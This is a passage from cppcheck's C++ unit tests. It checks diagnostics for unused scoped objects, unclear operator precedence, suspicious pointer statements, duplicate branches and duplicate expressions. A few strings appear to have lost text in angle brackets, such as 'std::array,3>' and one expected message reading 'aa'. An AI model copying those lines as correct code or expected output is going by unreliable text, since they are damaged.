ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) 